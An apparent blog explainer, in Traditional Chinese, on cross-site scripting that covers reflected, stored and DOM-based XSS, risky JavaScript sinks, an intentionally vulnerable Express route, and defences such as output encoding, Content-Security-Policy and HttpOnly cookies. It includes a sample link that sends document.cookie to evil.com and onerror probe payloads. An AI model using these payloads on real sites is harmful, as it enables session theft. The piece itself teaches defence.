跨網站指令碼：為什麼 XSS 在 2024 年仍然構成威脅

XSS 在 OWASP Top 10 名單上已經二十年了，至今仍是滲透測試人員最先檢查的項目之一。這個漏洞很容易解釋，但很難完全修復：攻擊者讓他們的 JavaScript 在受害者的瀏覽器中以你的網站來源執行。一旦發生，攻擊者就可以讀取 Cookie、偽造請求，或者直接在使用者眼前改寫頁面內容。

三種類型

反射型 XSS 是經典的釣魚連結攻擊。搜尋頁面從 URL 中取得 ?q= 參數，然後直接印入 HTML 而不編碼。傳送某人一個像 https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> 這樣的連結，如果他們在登入狀態下點擊它，他們的工作階段 Cookie 就會發送給攻擊者。

儲存型 XSS 更糟，因為它根本不需要連結。評論欄位、個人檔案簡介、支援工單描述——任何使用者輸入被保存然後呈現給其他使用者的地方。發佈一次惡意負荷，每個檢視該頁面的訪客都會被擊中，無需社交工程。

DOM 型 XSS 完全存在於用戶端程式碼中。伺服器從未看到惡意負荷；它是 JavaScript 讀取像 location.hash 或 document.referrer 這樣的東西，然後把它放進 innerHTML 或 eval()。這種類型讓人感到困惑，因為伺服器端日誌看起來完全乾淨。

它實際上來自何處

大多數 XSS 漏洞歸結為一個錯誤：將不受信任的資料視為受信任的標記或程式碼。JavaScript 中要注意的常見接收點：innerHTML、outerHTML、document.write、eval、帶字串參數的 setTimeout 和 jQuery 的 .html()。在伺服器端，預設不自動逸出的樣板引擎（原始字串串接到 HTML）是常見的罪魁禍首。

快速真實範例：Node/Express 應用執行

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

有立即的反射型 XSS。req.query.name 直接進入回應，完全沒有編碼。任何人訪問 /greet?name=<img src=x onerror=alert(document.domain)> 會在大約兩秒內驗證這一點。

真正修復它

上下文感知的輸出編碼是真正的修復，不是替代方案。HTML 本體、HTML 屬性、JavaScript 字串和 URL 上下文各需要不同的編碼規則——像 OWASP 的 Java Encoder 這樣的庫，或樣板引擎（如 Jinja2、React JSX 或 Handlebars）中的內建自動逸出，能正確處理這一點。React 特別地預設逸出文字內容，這就是為什麼 dangerouslySetInnerHTML 的名稱是這樣的：它是一個警告標籤。

輸入驗證有幫助，但本身不足夠。拒絕名單列表 <script> 標籤會持續被繞過——<img src=x onerror=...>、<svg onload=...> 或幾乎任何標籤上的事件處理程式都可以工作。允許名單列表預期的格式（電郵 regex、數字 ID）作為次要層級很好，但它不能替代適當的輸出編碼。

Content-Security-Policy 是可用的最強防禦縱深層。一個像這樣的政策

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

會阻止內嵌指令碼和第三方指令碼來源，除非明確使用 nonce 或允許名單列表，這會停止大多數 XSS 負荷的執行，即使它們通過編碼。在生產 CSP 中避免 unsafe-inline 和 unsafe-eval；它們會破壞大多數保護。

使用 HttpOnly 和 Secure 旗標設定 Cookie，所以即使 XSS 成功也無法通過 document.cookie 直接讀取工作階段 Cookie。它不會停止注入，但會相當大地限制被波及的範圍。

自己測試它

Burp Suite 的主動掃描器會自動捕捉許多反射型和儲存型 XSS，但手動測試對 DOM 型案例仍然重要。像 DOMPurify 本身的測試套件這樣的工具，或者在你的程式碼庫中簡單地 grep innerHTML = 和 eval(，會很快浮現驚人數量的發現。對於手動探測，負荷